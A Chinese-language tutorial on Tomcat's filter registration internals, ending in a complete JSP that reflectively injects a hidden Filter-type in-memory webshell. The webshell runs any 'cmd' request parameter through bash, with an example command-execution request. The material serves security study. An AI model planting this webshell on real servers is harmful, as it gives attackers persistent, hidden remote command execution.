Tomcat 內存馬(二)Filter型


一、Tomcat處理請求

在前一個章節講到,tomcat在處理請求時候,首先會經過連接器Coyote把request對象轉換成ServletRequest后,傳遞給Catalina進行處理。

img

在Catalina中有四個關鍵的容器,分別為Engine、Host、Context、Wrapper。這四種容器成套娃式的分層結構設計。

img

接下來我們知道當tomcat接收到請求時候,依次會經過Listener -> Filter -> Servlet

img

其實我們也可以通過動態添加Filter來構成內存馬,不過在此之前先了解下tomcat處理請求的邏輯

image-20211008150441124

從上圖中可以看到,請求到達Wrapper容器時候,會開始調用FilterChain,這個FilterChain就是若干個Filter組成的過濾器鏈。最后才會達到Servlet。只要把我們的惡意filter放入filterchain的第一個位置,就可以觸發惡意filter中的方法。

二、Filter注冊流程

要在FilterChain中加入惡意filter,首先要了解tomcat中Filter的注冊流程

image-20211008150902781

在上圖中可以看到,Wrapper容器調用FilterChain的地方就在StandardWrapperValve類中

image-20211008151513072

調試

注冊一個filter:

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter初始化");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("doFilter過濾");
        //放行
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        System.out.println("filter銷毀");

    }
}

配置web.xml

 <filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>test.TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

在doFilter處下斷點,訪問任意url:http://127.0.0.1:8080/xxx

image-20211008154236382

查看調用鏈

image-20211008153322507

可以看到在StandardWrapperValve#invoke中,通過createFilterChain方法獲得了一個ApplicationFilterChain類型的filterChain

image-20211008154518782

其filterChain中存放了兩個ApplicationFilterConfig類型的filter,其中第一個就是TestFilter

image-20211008183338196

然后在下面196行調用了ApplicationFilterChain#doFilter

image-20211008154656668

跟進doFilter方法,在方法中調用了internalDoFilter

image-20211008181437747

跟進internalDoFilter后看到,從filters數組里面拿到了第一個filter即Testfilter

image-20211008181549596

最后調用了filter.doFilter

image-20211008181707799

image-20211008181729911

可以看到,filter是從filters數組中拿到的,看看filters數組是什么,Ctrl+左擊

image-20211009101102444

其實就是一個ApplicationFilterConfig類型的對象數組,它的值也就是前面的說的通過createFilterChain方法獲得的

image-20211008154518782

image-20211008183338196

接下來查看createFilterChain如何把我們寫的TestFilter添加ApplicationFilterConfig

跟進ApplicationFilterFactory#createFilterChain中,看到首先64行拿到了個ServletRequest,然后通過ServletRequest#getFilterChain獲取到了filterChain

image-20211011150906390

繼續往下看,通過StandardContext對象找到了filterMaps[]

image-20211011151125710

然后又通過filterMaps中的名字,找到StandardContext對象中的FilterConfig,最后把FilterConfig加入了filterChain中

image-20211011152154941

跟進filterChain.addFilter看到,也就是加入了前面說的filters數組ApplicationFilterConfig中。這里和上面一步的操作就是遍歷filter放入ApplicationFilterConfig

image-20211011152538983

通過調試發現,有兩個很重要的變量,filterMap和filterConfig

  • filterMaps拿名字

  • filterConfigs拿過濾器

其實這兩個變量都是在StandardContext對象里面存放了,其中還有個變量filterDefs也是重要的變量

image-20211011151125710

image-20211011150712946

分析filterMaps、filterConfigs、filterDefs

1)filterMaps

既然這三個變量都是從StandardContext中獲得,那么查看StandardContext發現有兩個方法可以添加filterMap

image-20211011153145987

image-20211011153130293

2)filterConfigs

StandardContext中同樣尋找添加filterConfig值的地方,發現有一處filterStart方法

image-20211011153703552

此處添加是在tomcat啟動時完成,所以下好斷點啟動tomcat

filterDefs中存放着TestFilter

image-20211011154139448

遍歷這個filterDefs,拿到key為TestFilter,value為FilterDef對象,值test.Testfilter

image-20211011154225299

接下來new了一個ApplicationFilterConfig,放入了value

image-20211011154449349

然后把nam=TestFilter和filterConfig放入了filterConfigs

image-20211011154928992

3)filterDefs

以上的filterDefs才是真正放了過濾器的地方,那么我們看下filterDefs在哪里被加入了

StandardContext中同樣有個addFilterDef方法

image-20211011155245728

可以想到,tomcat是從web.xml中讀取的filter,然后加入了filterMap和filterDef變量中,以下對應着這兩個變量

image-20211011154701839

內存馬

我們通過控制filterMaps、filterConfigs、filterDefs的值,則可以注入惡意的filter

  • filterMaps:一個HashMap對象,包含過濾器名字和URL映射

  • filterDefs:一個HashMap對象,過濾器名字和過濾器實例的映射

  • filterConfigs變量:一個ApplicationFilterConfig對象,里面存放了filterDefs

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
     final String name = "KpLi0rn";
     ServletContext servletContext = request.getSession().getServletContext();

     Field appctx = servletContext.getClass().getDeclaredField("context");
     appctx.setAccessible(true);
     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

     Field stdctx = applicationContext.getClass().getDeclaredField("context");
     stdctx.setAccessible(true);
     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
     Configs.setAccessible(true);
     Map filterConfigs = (Map) Configs.get(standardContext);

     if (filterConfigs.get(name) == null){
          Filter filter = new Filter() {
               @Override
               public void init(FilterConfig filterConfig) throws ServletException {

               }

               @Override
               public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                         byte[] bytes = new byte[1024];
                         Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                         int len = process.getInputStream().read(bytes);
                         servletResponse.getWriter().write(new String(bytes,0,len));
                         process.destroy();
                         return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
               }

               @Override
               public void destroy() {

               }

          };


          FilterDef filterDef = new FilterDef();
          filterDef.setFilter(filter);
          filterDef.setFilterName(name);
          filterDef.setFilterClass(filter.getClass().getName());
          /**
           * 將filterDef添加到filterDefs中
           */
          standardContext.addFilterDef(filterDef);

          FilterMap filterMap = new FilterMap();
          filterMap.addURLPattern("/*");
          filterMap.setFilterName(name);
          filterMap.setDispatcher(DispatcherType.REQUEST.name());

          standardContext.addFilterMapBefore(filterMap);

          Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
          constructor.setAccessible(true);
          ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

          filterConfigs.put(name,filterConfig);
          out.print("Inject Success !");
     }
%>

訪問:http://127.0.0.1:8080/testF.jsp顯示注入成功
image-20211012105306777

執行命令:http://127.0.0.1:8080/?cmd=cat /etc/issue

image-20211012105331940

三、參考:

http://wjlshare.com/archives/1529#0x04_Filter

http://li9hu.top/tomcat內存馬一-初探/

https://www.cnblogs.com/nice0e3/p/14622879.html#0x03-內存馬實現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM